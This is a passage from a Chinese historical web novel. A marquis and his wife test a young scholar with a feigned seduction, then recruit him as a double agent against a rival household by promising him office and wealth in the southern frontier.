要是夏明嫣对他真有那样的心思,这时候就会屏退左右,让他们二人有独处的机会。 孙允斌特意在早上提起这个话头,也是因为他想了一夜之后发现,他其实没有他之前想的豁的出去。 他没有觉察到的是,就是这么几句听起来很正常的话,已经让他的两颊不自觉地浮现出红晕…… 此时,他心里尤其盼望着夏明嫣不是传闻中那种荒唐得厉害的名门贵女,在大白天就敢对他动那种心思。 就像那些城外的女观一样,他早就听说过,里面那些所谓清修甚至出了家贵女、贵夫人玩儿的有多疯,就连那些公主、郡主府上的面首好多都出自那些女观。 夏明嫣是在卢阳长大的,虽说有楚家的女师教养,可谁知道那楚家背地里是不是也是这般荒唐人家,说不定那卢阳老宅就像这城外的女观一样,有那样的事呢…… 一时间孙允斌想了很多,就当他以为夏明嫣没有像他想像的那样,要冷了脸赶他出去的时候,他刚要放下的心,又提了起来。 夏明嫣笑了起来,她的声音本来就好听,不管她的笑里有没有带有别的意味,听到年轻男子耳中都是带着挑逗意味的: “月下作诗,公子好雅兴。昨夜明月高悬,这全元京的人都看着同一轮月亮的,只是不同的人想到的、所思所感的都不一样。” “不知道孙公子想到了什么?是思乡情怯,对月神伤,还是满怀对前途的希望?我还真想听听。不过……” 她停顿了一下,让秋果先下去,而自己却往里间走去,还手掌向下动了动手指,示意他跟过去, “这正厅可不是吟诗作对的地方,不如到里面去,无论孙公子有什么话想说,我都听着。” 这就要往内室带人了?眼看着秋果等人躬身退下,每个人的眼里都带着笑意,孙允斌整个人都不好了。 这大白天的就要内室宣阴了,夏明嫣的语气如此自然,而那些侍女不仅配合默契,退出去时的动作如此行云流水,彼此间还交换着目光,那些目光里没有一点羞耻之意,反倒有着许多促狭。 孙允斌前头做了再多的准备,此刻也要慌了,他吱吱唔唔地道:“小生看这外头……日头正好,要不夫人还是与小生去园子里转转吧,正好消食。” 这理由都想出来了?夏明嫣在心里憋着笑,面上却像是动了怒一般: “日头这么大,晒伤了我的皮肤该怎么办?被你这么一说,我现在就觉得这脸上、手上的皮疼了呢。来府上究竟是做什么的,你早就心里有数了。” “就别再僵着了,我可告诉你,你今日要是不进来,你心里希冀的前程可就没了,还不快点跟上?” 夏明嫣不再多说,转身就往里面去了,这正厅不是直接跟内室相连的,而是要经过一段游廊,之后才是他们止戈园的内宅。 而夏明嫣要带他去的是她自己的书房,这是她嫁进来之后才另外收拾出来的,原本是一间花厅,三面临水,一开窗便是湖水和花香。 这时已是深秋,元京的花都落了,那里的栽种的南边来的树木倒还是郁郁葱葱的,看起来别有一番韵味。 她这书房跟华靖离的书房不一样,看起来并不像是书房,倒像是贵女闲适时舒缓、作画的地方,要是发生些韵事也未可知…… 第373章敢推开这扇门么? 夏明嫣在前面走着,她今日穿了一身鹅黄的衣裳,走起来就像一只翩翩而飞的蝴蝶,要是落在别的男子眼里恐怕会浮想联翩,落在孙允斌眼里却是心惊胆战了。 孙允斌这时候才发现,他把自己的尊严打碎,想着自己终究是能弯腰曲节了,却没想到事到临头,他才发现自己根本就做不到。 他宁愿没有那么远大的前程,也想保有自己的尊严,要是为了前程就不择手段甚至像有夫之妇委身,这样的前程他宁愿不要。 孙允斌虽然不得不跟在夏明嫣身后往里走,可那时因为他清楚,那些退出去的侍女定然在外面守着望风,他就算出去了,也得被拦回来。 他只能继续往里面走,可是他都已经想好了,等夏明嫣站定了,若是对他有任何不轨举动,他定要严词拒绝。 这里到底是钩翊侯府,夏明嫣是华家宗妇,许多事儿暗着来,大家都会睁一只眼闭一只眼,可闹到明处,却是绝对不行的。 夏明嫣定然不敢跟他鱼死网破,他至少能够全身而退,离开侯府…… 至于李玦那边,他虽然在学问上差强人意,只有秀才功名,可论经世历练,他是能办成一些事儿的,他也可以用其他方式帮李玦效力。 夏明嫣根本没回头看,光是听脚步声就能猜到孙允斌此刻的踌躇和担忧了,要是不让他实际经历一下此刻的惶恐,很多事情他还真不愿意承认自己做不来。 孙允斌在他老家的时候就是个能人,功名上没再有进益之后,他并没有纠结和执着,而是果断地撑起了家业,他生意做得不错,在当地和官府、贵胄的关系都打点得不错,可谓是八面玲珑。 他卖掉家业来元京捐官,这在元京或许是一件稀松平常的事,而在他们老家却是需要一番魄力的。 不说别的,庙小妖风大,池浅王八多,财产在他手里的时候是一个数儿,要是想要变卖了换钱,一下子要人吃下这么多,还要得这么急,等卖出去的时候就不是这个数儿了。 在卢阳的时候,夏家的二叔就卖过一部分家业,原本值五万两的,急着出手,一万两都未必能卖得出去。 更有那趁火打劫、仗势欺人的,更是会趁机压价,还拦着真心想买、出价公道的人不让他们买,要是没点本事,那原本就不算多的家业卖完了就更剩不了多少了。 饶是孙允斌在善于经营,他打理家业到他父母双亡之间的时间也不长,前世的时候,夏明嫣后来听李玦说过,孙允斌原本的家业也就大概价值五万两左右。 他从打定主意来元京捐官,到他卖掉家业启程,还不足两个月光景,竟然卖出了三万多两。 以孙允斌这一房人在当地的地位,能卖出这个数儿,银子还都拿到了,这人真可谓是人情练达、精于谋算了。 可越是这样的人,越对自己某些方面也具有同样的能力而自信,就像现在的孙允斌,他大概一直以为,只要他愿意,就一定能放下自尊去做那些他不屑、不齿的事了。 他根本就不愿意相信,他想的时候是愿意的,可事到临头了,若非有不可抗拒的威压之力存在,他是做不出那种事的。 前世孙允斌具体是怎么跟夏明月混到一起去的,谁都不知道,可从这两人的性子和行事做派来看,要不是夏明月主动,孙允斌是不会想跟她怎样的。 而且夏明月那时都已经在家庙了,从她身上能打探出的华家的隐秘实在有限,孙允斌没必要牺牲自己的节操做这种事。 估么着是夏明月用她知道的事儿吊着孙允斌,这中间大体是闺中寂寞,然后趁孙允斌不备,设了套给他。 夏明月一直没有和离,他是华侯夫人,就算进了家庙也容不得别人染指,何况无论她性情、人品如何,她都是一个美人儿,一来二去的,他哪里还能脱身,自然就被缠上了。 饮食男女,夏明嫣不会在这种事儿上指责夏明月和孙允斌,这世上很多事儿不是单凭对错、黑白就能说清楚的。 不过这一世,要是孙允斌提前就有了他在元京立足的底气,他就是再有机会遇上夏明月,即便夏明月再引诱他,他也应该不会上钩了吧…… 面前书房的门是关着的,夏明嫣没推开门,就在门前站定,转过身去看着明明没跑每跳,却满头大汗、气喘吁吁地孙允斌: “孙公子,这是怎么了?该不会有心疾之类的病症吧?看看着年纪轻轻的,体力就这么不好。” 孙允斌向后退了一步,他现在是真觉得这元京卧虎藏龙,像夏明嫣这样的侯夫人,敢在光天化日之下这般对他,也是需要些本事的。 他赶忙行礼道:“还请……夫人自重,小生只为夫人念诗、读信,夫人若是府外有不方便办的事,小生也愿意效劳。” “是么?不知道孙公子能为我做什么?打理庶务,内外联系,还是做一些不方便说、不方便出面的事?可是这些事儿,我都不缺人帮我做。” 夏明嫣叹了口气,故意笑得讳莫如深,“孙公子,你来元京自然是要奔前程的,投到我们府上来,所求不过是那些。” “你要的钩翊侯府都能给,可你能给我和侯府什么呢?你要知道,元京不缺能人,更不缺学子,你得能给我们别人不能给或是给不了的才行。” “你能给我们什么,想好了再说。要是你一时间想不到,就该想想,你的表现会不会让我愿意给你做那登天梯。” 这会儿孙允斌已经不是害怕自己节操不保了,从前他哪里见过美人儿如此,还是一个能决定他命运的美人儿。 孙允斌不是没有野心,只是他的野心被他的羞耻之心拦住了,现在他心里有两股力量在横冲直撞、拳脚相向,他快被这种感觉冲撞得发疯了。 他的声音都在颤抖:“我……小生并非元京人士,见识短浅,但小生学东西很快,夫人和侯爷要是有什么需要小生做的,小生一定万死不辞。” 夏明嫣轻轻点了两下头,看了眼身后的门板:“不用万死不辞,你敢推开我身后的这道门就行,只是……你有这胆子么?” 第374章门后,意外之喜 身后的雕花木门关得严严实实,一条缝儿都没留,孙允斌担心身后的房间是这止戈园里供人取乐的地方,浑身上下都充满了抗拒。 他往后退了一些,整个身子都向后仰倒着,吱唔着道:“夫人,小生觉得园子里的景色也很好,屋子里……小生今日身体不适,想像夫人告假……” 夏明嫣反而没有再靠近他,还把门的位置让了出来,眼中也没了方才的戏谑: “机会只与你有一门之隔,你要不要推开看一看?你要是就这么走了,日后想想,说不定会感到遗憾呢?” “要不,还是推开门看一看,这儿没别人,只有我这么一个手无缚鸡之力的弱女子。要是门开了,没有看到你想要的,你硬要走,我也拦不住你。” “你要是担心我用别的罪名追究你,那也已经晚了,你现在要走和等会儿再走相比,并没有多大区别。” 孙允斌刚想迈出的步子就这么止住了,欲加之罪何患无辞,眼下他早一会儿走和晚一会儿走的确没多大区别。 他只踌躇了一会儿,到底还是心中的野心和赌性占了上风,即便是他所想的最坏的结果,夏明嫣不像一个不讲信义的人,定会给他不一般的报酬。 要是夏明嫣单纯只是为了戏弄他取乐,又不想给他报偿,这里面最大的可能就是什么特别的都没有。 一边是尽管卑躬屈漆、把尊严彻底击碎,却能得到丰厚的报偿,那报偿还想来是凭现在的他几年、十几年甚至几十年都得不到的。 一边只是被戏耍一番,他最多只是再多丢几分尊严,之后他灰溜溜地滚出钩翊侯府,再同时失去李玦的支持。 看起来这是一个前有狼后有虎的局面,就算是后者,他的尊严和气节保住了,他连李玦这边也会失去。 可是仔细想想,端侯府那边也还没从谷底爬出来,他要为李玦做事,以后类似的事少不了,他连这样的委屈都受不了,那也帮不了李玦更多了,李玦一样不会帮他。 孙允斌下了决心,面上也恢复了之前的风雅样子,他略显汗颜地颔首示意: “这秋老虎真是厉害,小生刚才是被这天气热晕了头了,现在好了,愿意入屋一看。” 夏明嫣让到一边,就看到孙允斌像推开什么墓门一样把眼前那扇薄薄的雕花木门推开了。 门开了之后,映入眼帘的是一扇花鸟屏风,往侧面望去,里面书案、熏香,画桌上放着一幅没有画完的山水画,半点没有声色犬马的意味,相反的,房内还甚是清雅。 孙允斌整个人都放松下来了,再看夏明嫣正笑盈盈地看着他,那笑容甚是亲切,没有一点轻屑、耍弄之意,她的目光不像是在看面首或是下人,而是像是在看自家阿弟。 进府之前,他特意了解过,夏明嫣比他小了好几岁呢,现在却用当姐姐的目光看着他,再加上之前他以小人之心渡君子之腹,他越发不好意思了。 他从来不知道自己的面皮儿居然这么薄,他汗颜地行礼请罪道: “是小生的不是,是小生错怪了夫人,还请夫人责罚……小生以为,没想到夫人在跟小生开玩笑。” 这语无伦次的样子,跟二十年后的权相孙允斌完全是两个人,没有了李玦给他的那些搓摩,他现在就只是一个比同龄人聪明、干练些的年轻秀才罢了。 近朱者赤,近墨者黑。 这一世,她和华靖离不会让他走暗处的那条路,给他的一切支持和机会都会是光明正大的,不管他将来会成为什么样的人,至少应该会和上一世不一样了。 夏明嫣不再逗弄他,而是正色往里面看了一眼:“都到这儿了,相信孙公子也不介意再移贵步往里面走几步吧?说不定还有别的惊喜呢。” 书房里静悄悄的,不像有人,夏明嫣明显不是那种会用迷香那些下作手段的,话都说到这一步了,孙允斌再无推拒的理由。 然而绕过屏风之后,孙允斌还是被眼前的情况惊呆了,本该进宫去的华靖离竟然泰然自若地坐在那里习字,那是一个“正”字,一笔一划尽是锋芒。 “侯爷,您不是……进宫了么?怎么在这儿?这……” 孙允斌吓了一跳,极力忍着才没有让自己的声音打颤,他刚才进来时还好衣着整齐、神色恭敬,要是他破罐破摔真对夏明嫣有了亵渎之意,想在等待他的怕是只有死路一条了。 他本就懂得审时度势,这时候哪里看不出来昨日和今日的这一切都是夏明嫣为了试他而做的一个局。 华靖离将手中的狼毫笔放在笔架上,抬眼看着他,那目光就像在看自家阿弟华靖和一样: “孙公子从南边来到元京,一路坎坷,怎么不先在元京游玩一番,熟悉一下元京的风物,多拜访一些故交好友,就急着谋差事了?” 华靖离的语气里没有半点严厉,这么问更不是责问,只是纯粹的关心。 孙允斌微微宽心,可毕竟面对的是华靖离,他战战兢兢地抬头看向华靖离,正好看到夏明嫣站到了华靖离旁边垂眸含笑看着那幅字,二人站在一起,俨然一双璧人。 这二人身上的气息太暖了,没有了身居高位者的威压,倒是很有新婚夫妻间的温馨、甜蜜,这让连婚娶的影子都没摸到的孙允斌怎能不心生羡慕。 “孙公子,侯爷在问你话呢,有什么难处尽管说出来,错过这个村儿可就没这个店儿了。” 夏明嫣笑了笑,为她之前故意为之的轻屑、戏耍道歉,尽管她一开始是打算将他带入深渊的,只是昨晚在经过华靖离开解之后,她改变了主意罢了, “你可想想这两日以来发生过的事,什么是疑心生暗鬼,相信你已经清楚了,切莫因为自己的一点疑心,错过了机会。” “侯爷事忙,可不像我这般有空摆个阵啊局啊的试探公子。有话你尽管说,孙家是先太后母族,华家向来敬重先太后,对他的族人多有优抚,也是理所应当的。” 第375章物有所值 华靖离也道:“元京居,大不易,外头来元京的,十个有九个都是来奔前程的。想要高门的扶植,想要向爬,没有错,更加不是一件令人羞耻的事。” “孙公子虽然只有秀才功名,可在你的这个年纪想入侯府做一个姑娘的文墨师父是屈才了。你来钩翊侯府,可是背后另有其人?” 姑娘家请师父也是从小就请的,若是请男师父,一般请的都是年纪四十往上,甚至年纪更大的,都足够当姑娘家的父亲或祖父的。 孙允斌这样的即便功名不显,只要做事麻利、能出谋划策,多数都是去给各个府上做幕僚或者管事儿。 再要么,就是一边借着打理家中庶务做生意,一边继续考取功名,只要生意做得不超过一定规模,就不算商户。 孙允斌明明可以选择后者,在这方面他也更有优势,可他大概是觉得这样太慢了,而且本身他在科举上也没有太高的天分,他对这一点有自知之明,才想到了来元京捐官这条捷径。 这一点,孙允斌对自己的认识的确清醒,前世他登上相位的时候,他也不过举人功名,他可是大恒建立以来功名最低的丞相了。 可他知人善用、狠辣决绝,是当时大恒王朝的实际掌控者,也是他们几家风波之后最大的受益者。 别看他进入钩翊侯府的这两日表现得很青涩、很不成熟,那是他那点可怜的、仅剩的自尊在作祟,要是别的事儿,他就定然不是这般表现了。 孙允斌一直以为他在他们面前表现出来的仅仅是一副酷爱钻营的小人嘴脸,没想到被华靖离点出了他背后另有其人。 那就是说,夏明嫣也知道他背后有人了?想来他跟卜小娘的一举一动在他们眼里已经不是秘密了。 孙允斌直觉得后背渗出一片冷汗,这时候要是再用谎言掩饰就太没有诚意了,他若是否认,恐怕不仅要立刻离开侯府,以后要想再跟华靖离和夏明嫣有所交集,对方也不会待见他了: “侯爷,夫人,小生……有愧,可也是身不由己。” 孙允斌并没有说出这幕后的主使之人是谁,他若说了就是出卖自己的东主,将来任何人再做他的东主都不能对他放心。 华靖离没有逼他,反倒很体谅他的难处:“元京的人家都是数得出名号的,敢在我华家动心思的更是不过那几家,你背后是谁,我猜得到。” “你不必说出来,说了反而两边尴尬。我不逼你现在就做出选择,可我看你是个有气节的人,有些人站在谷底想要往上爬,只能不择手段。” “当然,大丈夫为了有所作为,不择手段也是常有的事,可是要靠女子的裙带上位,多少有些不光彩。有些人自己这么做成了,也想要别人这样做,便显得自己的所作所为没有那么不堪了。” “你或许觉得一个有爵位可以承袭的人都能这样做,你一届布衣为何不能这样做。可你怎么就不想想,他那样做好歹还有个正名,你呢,会如何?” 李玦攀附、利用楚家和夏家,好歹他还是夏明月名正言顺的丈夫和这两家的女婿、外孙女婿,只要将来他成功了,他的名声是可以被美化甚至扭转过来的。 可是孙允斌呢,不过是成为一个玩物而已,到了什么时候这都不是一件光彩的事。 李玦说服孙允斌的时候,定是说了这样的事常有,他也是这样做的,这样做没什么问题,等到他们成功了,谁还会记得这些。 史书是由胜利者书写的,从某种程度上来说也不算是错的,可道理是这么个道理,但这一路实际走过的人会经历什么,会有怎样的感受,只有行路者自己知道。 多年后的孙允斌或许能释然从前经历过的一切,可是现在的孙允斌要想踏上这条路,却是要打落牙齿和血吞的,这种滋味并不好受。 上一世他只有李玦这一条路可走,别无选择之下走了上去,之后忍着痛一步步爬上高位,不是不痛,而是习惯了而已。 孙允斌低着头,下巴都要戳进脖颈里了:“小生想要奔一个前程,有一条出路,可小生见识浅薄,来元京之前没有想到捐官竟如此之难。” “而昔日亲族竟然破败至此,小生无奈之下,只能就路而上,实在别无选择。小生没有那么好的运气,未能得遇英主。” 既然话都摊开来说了,双方都不必隐瞒,这时候双方对彼此都没有足够的信任,那便不谈交情,谈交易就是了。 交易二字听起来比交情要冷然许多,可是看似温情的东西真不见得比得上冷然的东西,关键还是看这场交易之下究竟能得到什么。 华靖离开门见山地道:“你与他毕竟相交一场,尽管之前我未与你相交,是因为我并不知道你的存在,更不知道你会来元京落脚。” “他与你相交在先,是占了先一步相识的优势。可毕竟你们有这样的缘分,无论他让你做什么,对于你来说,这都是雪中送炭了。” “我不会要求你现在就背弃他,也不会逼你做出选择。只是你需要明白,我与你之间还没有足够的信任之前,这就是一场交易。” “但凡是交易,要想做成,双方手中的砝码不说完全对等,也得让对方觉得物有所值。今日之后,我给公子一个前程,而公子在应对那边的时候,该怎么说、怎么做,应该心里有数了吧?” 孙氏一脉衰微,孙允斌眼下想要给华家大的回报是不可能的,可回报这种东西很多时候也讲一个机缘,要是对方眼下需要的也行。 孙允斌骨子里也不是一个纯然的君子,尤其他这个“旧主”也不是什么正派的人,他大可直接背弃李玦。 以今时今日两家的实力对比,就算孙允斌立刻倒戈相向了,李玦也不敢怎样。 可是华靖离没有让他这么做,这不仅仅是顾全他的信义和尊严,这也是在给他指明方向,让他在李玦和钩翊侯府之间左右逢源,为他们两边做事。 第376章还未曾心如铁石 孙允斌想要华靖离给的前途,他实际上当然是要帮着华靖离做事的,只是李玦那边不能断了,至少看起来他还在帮李玦做事。 在这个过程中,他要设法迷惑李玦,给他错误的消息和指引,让端侯府和楚家扑腾起来的那点涟漪迅速地平静下来。 等到图穷匕见的时候,作为回报,孙允斌自然可以以华家作为退路,不仅可以全身而退,还将拥有大好前程。 其实孙允斌这时候还以为李玦的目的是袭爵之后掌握权柄,成为一代权臣,他根本想不到端侯府、楚家甚至还有陆家早就有了反意。 或者说除了被他们裹挟进来的夏家,因为当年的事,这三家都已经不得不反了。 他们不反,当年的事被翻出来追究,不仅主事的那些人,就是全族都得跟着掉脑袋……这是何等大事,怎会是一个秀才公能够承担得起的。 要是华靖离现在就说出真相,孙允斌这边不用劝,甚至不用给他任何好处,他都会退却的。 他一个小地方来的外戚旁支,无依无靠的,他疯了才会相信自己卷入这种悖逆之事之后,有朝一日他还能屹立朝堂。 可是华靖离不想让他这时候就退却,没了孙允斌,还会有王允斌、张允斌,有这么一个他和夏明嫣都还算有所了解的人在身边,反而更放心一些。 而且他也想到了他们这两世以来所经历的因果,不管是人杰还是枭雄、奸雄,孙允斌上一世绝对是号人物。 李玦再是把这人引上了一条不归路,也算是成就了一代权相。 要是他现在直接把真相说出来,直接把人给吓退了,孙允斌直接回老家经商去了,这世上岂不是因为他,少了这么一号人物? 这可不好,就是对大恒来说,也是有损失的,他还是得把孙允斌引导好了,让他能把他的干练、智谋用在为百姓、为朝廷谋福祉上才行啊! 华靖离见孙允斌没有回答,笑着提示道:“在朝中行事,多有不得已之处,孙公子若是连左右逢源都做不到,将来还如何入朝为官?” “大恒中原平定已久,北疆新定,南疆却又纷乱不止,正是有识之士建功立业的好时候。你可以试想一下,你若去了南疆,或在这朝堂之上,需要你这般周旋的时候还会少了?” “你且把这当做一种历练就好,有些事我现在跟你解释,你也不会明白。那便不如去经历一番,经历的多了,也就明白了。” “我不急着让你做决定,你大可以边周旋于两家之间边想,要是你最终决定跟着另一边,我也自当以礼相送。” 孙允斌愣住了,到底还年轻,经历的太少,他这时候已经弄不清华靖离到底要怎样待他了,这番话又会不会是故作宽容。 要是他选了端侯府,华靖离哪有放过他的道理,就算不要他的命,也该毁了他,让他再没有办法替端侯府做事了才对。 孙允斌不敢把这些话当真,可是华靖离说出的这些话却无比真诚。 华靖离在军中的信誉是有目共睹的,这一点跟李玦不一样,就算没有最近的那些烂事儿,李玦也还没有机会在大事上验证他的信誉和口碑,这一点李玦的确比不上华靖离。 孙允斌壮着胆子道:“侯爷雅量,可是让小生自行选择,还让小生在府中行走,就不怕小生向着旧日东主,做出不利于侯爷和钩翊侯府的事?” 华靖离再次上下打量了他几眼,笑道:“我看孙公子是个聪明人,自然明白行事的分寸,也定然清楚对华家不利的下场,你会这么做么?” “我赌你在做出选择之前不会这么做,而你跟你那位所谓的旧主,何时相识?相处了多久?他可对你有大恩大义?” “恐怕这些问题的答案都是‘不久’和‘未曾’吧,这样的东主,还对我构不成威胁。就算是我有这个自信吧,我信你将来会选择我和钩翊侯府。” “孙公子功名虽未及进士,可想来也是自小熟读经史典籍的,你不妨想想,走那样一条布满荆棘的路,不仅坎坷、艰难,你便是不畏这艰难,前方九死一生也都侥幸闯过去了。” “没错,你可能因此位极人臣、身居高位,可是这样的居高临下之势可能持久?自古便没有持久的,即便在你这一代能够善终,也必祸及子孙。” “孙公子,你不是那等为了一时荣光能够豁出去的人,走那样一条路,你可真的思量好了?” 自古权臣、枭雄,能够善终的本就不多,就算他自己能够荣华半生,他的子孙也少有不被清算的。 倒不是说这条路有风险就不该选,而是要看这做选择之人究竟是个什么样的人。 前世能够做枭雄也愿意为此疯魔的那个孙允斌是经过几年的磨砺之后才产生的,而现在站在这件闺中书房中的孙允斌却还是一个刚刚从小地方来的书生。 他有野心,也有一定的本事,但他毕竟还稚嫩、单纯,而且现在的他还不太能吃苦,更不想弯腰。 说难听点,像女人低头弯腰受伤的只是尊严,这还没让他真到名利场上打滚呢,这男人之间的屈辱可比女人的大,到时候不仅有可能受伤,还可能性命不保。 呵,要不然那么多豪杰人物最终只求死个痛快呢,这就说明了很多时候连好死都是奢求呢。 孙允斌不可能知道将来他能变成怎样的人,就算现在有人告诉他了,他也不大敢相信。 他刚刚才在夏明嫣的耍弄下受了挫,他这时候一想到刚才那点搓摩根本不算什么,以后还有更厉害的屈辱等着他,他就打了退堂鼓。 他这时候还不是心如铁石、身加钢骨的那个孙允斌,他在老家没有前程,想到的不是去给谁做幕僚,干那献计献策、在刀锋中穿梭行走的事,更没有想到从军,偏偏想到了捐官这条路,其实这就已经很能说明问题了。 第377章君子一诺 捐官,是除了科举入仕以外想要为官能走的最舒服的一条路,却是有了成就之后最容易被人诟病的一条路。 孙允斌当然清楚这当中的利害关系,可是他宁愿选了这么一条路,而不去选那些艰难但根基更扎实、后患少的。 再是不得势的后族旁支,他从前过得也是富足而安稳的日子,他心里又存留了些氏族的习惯,自然不愿意去过那种日日与人争抢着在东主面前献媚甚至在沙场上刀口舔血的日子。 李玦给他指的这条路不仅艰险,还有着不能为外人道的阴私之事,是他自己安排的捐官之路没有走通之后,才被动选择的。 而且他选择李玦时,吕家的事儿还没闹出来了,等事情传出去了,他想“下船”也已经晚了。 要是他早就看到这条路的终点最多只是风光一时,还可能祸及自己的身后名甚至连子孙后代都要遭殃,他怎么会靠向李玦这样的人…… 没有人会拒绝堂堂正正地走向功成名就……李玦立刻下了决定,不再有迟疑,只是该有的防备还是要有的: “小生谢侯爷和夫人赏识,也愿意为二位效劳,只是侯爷交托之事还需谨慎为之,相信侯爷和夫人也清楚,小人这旧东主的情况有些复杂……” “小生担心凭小生一人之力终究会有力有不逮之时,若是未能达成侯爷和夫人所想,不知又当如何。” 他担心的是这种左右逢源而两方都有见不得光的地方,事情不成,他还能不能全身而退。 还有既然已经决定了尽心尽力,事情成了,他将得到什么,要是败了,有没有对他的安排?这也是一个他可以将两边进行对比的过程…… 华靖离没在意孙允斌跟他提条件,账算得清楚的人,处事冷静,真到了交易中,不会赖账,还更容易取得进益: “若是不成,也说明你不适合元京这尔虞我诈的环境,只要你愿意,我可安排你入御青书院旁听,之后入太学,将来在文修院领一份差事做个编修,也算是有个富贵、安康的好前程了。” “我华靖离愿意与公子做一个君子约定,若是事情不成,公子你也不愿意要方才所说的前程,我也愿送公子一场富贵,你拿到那笔资财之后,可去南疆。” “是想要富甲一方也好,想在那边任官任事也罢,皆有钩翊侯府的举荐,你看可好?” 这就有些闹不明白了,华家的势力在北疆,这跟南疆有何关系?关键是端侯府的势力反而在南边,尽管只是残留了一部分,但在南疆乱局之中还算有些地位。 难道华家已经打算将手伸向南方了? 夏明嫣适时插了话,讳莫如深地道:“北疆冰天雪地的,想做些什么也不容易,倒是南疆四季如春,庄稼都能多长几茬。” “我的嫁妆也放了不少在南边打理,现如今在那边开通商路,可是一笔不小的买卖呢。孙公子,无论你将一身本事交予谁家,你是不是都该相信大恒终将江山一统、时局稳定呢?” “若是如此,你觉得是圣上、太子和朝廷会赢,还是某些躲在阴暗处的野心家会赢?若是前者,先不说我的嫁妆、侯爷自己的庶产在南疆会积攒成多大一笔财富,定能给你一场富贵。” “就说这南疆平定之后,会有多少空缺,公子在元京捐不上官,难道在南疆还得不到一个位子?届时能做一方统领也未可知。” 北边儿和中原的位子差不多都满了,南边现在却是被诸王的势力盘踞着,等这些王都下去了,他们的下属和幕僚也都不能用了,这都不知道能空出多少位子。 就算华靖离在南疆没有势力,凭他在大恒的地位,为他谋个官也是易如反掌的事。至于给他一场富贵,那就更加是真的了,根本不用怀疑。 夏明嫣笑着看向身边的华靖离,纤纤玉指在他手心里轻轻地抓了一下,再看向孙允斌, “孙公子,朝廷对官员的考校不仅在作为上,还要能不能妻儿美满、子孙繁茂,这不是没有道理的。据我所知,孙公子这一支下一代就要出五服了。” “之后便要单开一脉、从新开始了,只是公子你势单力薄,家里也没有兄弟姐妹帮衬,想做到这一点谈何容易。要是你再选了一条见不得光的路,想必想拥有这一切就更难了。” “可要是你愿意与侯爷和我同路,我敢向你保证,无论是锦绣前程,还是娇妻美眷,你也一样会拥有。” 孙允斌不是那等无欲无求的野心家,他还处在一个很理想化的阶段,他觉得无论是前程还是家庭,他都能拥有。 即便将来不会有大的成就,可是有一方功业,得一个官职,再有一个和美的家庭,传承子嗣……他这一生也算是圆满了。 可要是他走了李玦给的那条路……尽是锦衣夜行、密谋行事,恐怕即便成家立室了,也得日夜自危、东躲西藏地过日子。 想要做到从暗处走向高位的同时还绵延家族,还能在阳光下享受这一切,接受世人的品评和祝福,那可太难了。 孙允斌不觉得自己有那么幸运,更不觉得自己有那么大的本事。 事实上,上辈子他除了跟夏明月厮混过一段时间之外,只短暂地与妻儿相守过,后来妻儿皆死于仇家之手。一代权相,打下的家业无人继承,身后名也糟糕得可以。 孙允斌看向眼前的这一对儿璧人,爵位、功业、如花美眷……华靖离和夏明嫣就是这些美好愿景的活招牌。 他不由得就应下了,躬身行礼道:“小生愿为侯爷和夫人效劳,侯爷交待的事,小生一定尽心竭力……还不会被那人察觉。” “好,那就请孙公子入内室一叙,我与你说说这南疆和海上的局势。”华靖离邀请道。 夏明嫣则向门外退去:“侯爷与孙公子说着话,我去烹些茶来,二位午饭也一块儿用吧。” 南疆的局势和海上的情况还是华靖离更清楚,就让他们单独说话吧,她也得给他们留点空间。 第378章阴招拿捏 虽然在外面的事上,华靖离没有女人不能主事的偏见,可在世人眼里还是男主外女主内的,孙允斌也属于这种世人。 今日他们改变孙允斌的地方已经够多了,接下来再给他更多的冲击,他接受的程度反而会降低,不如现在他面前维持传统的形象,这样还反而能让他更加羡慕华靖离有一个如此知道进退的贤内助。 其实孙允斌的态度已经变了,对李玦称呼从“旧主”、“旧东主”,变成了“那人”,这条路并不难选。 如果不是被逼到绝路上了,谁会愿意走一条见不得光还艰险异常的路了? 前世的孙允斌下不了端侯府的这条船,主要等他有了足够的能力之后,他已经弥足深陷,对方已经拿住他的把柄了。 这把柄当中就有夏明月,上一世当夏明嫣发现李玦跟夏明月旧情复燃的时候,她曾经问过李玦,问他知不知道夏明月跟孙允斌有过私情。 李玦当时满眼怒火却没有否认,在她的注视下,还闪过了丝丝难堪,他根本就是知道的。 而且孙允斌这个人,前世虽说把持朝野,可在男女之事上却颇有操守,除了夏明月,他只有过一个妻子,在妻子亡故后终其一生未曾再娶,也没有妾室,在外头更是没有那些乱七八糟的事。 他跟夏明月有私情的时候,真的是他主动的吗? 那时候夏明月已经被关进了华氏家庙,要不是李玦让孙允斌去找夏明月拿消息,并且提供了某种帮助,孙允斌一个文弱书生,连家庙的门都进不去,更别说躲过护卫、翻墙而入了。 夏明月也是李玦给孙允斌设下的一个套罢了,她是华侯夫人,还是李玦的情人,未来的端王妃,孙允斌跟她有过肌肤之亲,这无论到了什么时候,追究起来都是要掉脑袋的。 看看现在的孙允斌,夏明嫣都能猜到孙允斌被那二人拿捏住时是何等的愧悔和无地自容,这也是他会变成后来那副模样的重大原因之一…… 现在开始,她和华靖离会让孙允斌接触到的都是好的、光明的,不再让他被黑暗侵蚀,他们也很想看看这辈子的孙允斌会做一个怎样的人。 华靖离跟孙允斌谈到了傍晚才结束,他没有明说寨子和南疆那些事得到了朝廷多少扶持,可这种事也无须明说,背后显然是有着圣上和朝廷的支持的。 如何在山间开路,如何教授寨民耕种和手艺,如何教那里的孩童识字、读书能够更实用,还有南疆的海贸如何能在诸王纷乱的时候重新开始。 别看孙允斌一介书生,论起当下的这些事,他除了在老家做过几年家里的生意之外,并没有更多别的经验,可他经过华靖离的解释和引导之后,竟然颇有见地。 当然,这当中有许多细节到了实践时未必能行的通,但都是可以调整的,这让华靖离大为惊喜。 以至于晚饭时,华靖离颇为兴奋地对夏明嫣道:“这人是真有天赋,难怪上辈子会成为右相。而且这个人跟一般的人不一样,他不是一个会被家族所累的人,行事不会拖泥带水。” “也难怪他上辈子登上相位之后并没有提携孙家,要是他那么做了,世道只会更乱。” 当今圣上为了避免外戚之乱,从年轻时就开始打压母家,这孙家说是外戚后族,实际上经过几十年的搓摩已经与富户无异了。 这些人当中的确有坚持让子孙读书、科举、用心做事的,可大部分子孙都仗着一点昔日后族的荣光作威作福,到了孙允斌上位的时候,这些人已经跟混混没有多大区别了。 那时候的孙允斌要是还以振兴家族为己任,等待他的怕是只有无穷无尽的麻烦,这些人犯下的所有事儿都会归结到他故意放纵和管束不严上。 要说对亲族的割舍可不是一件容易的事,毕竟那些族人虽然不堪,可并没有害过孙允斌,要是换个人,还真有可能把这些责任一肩挑起了。 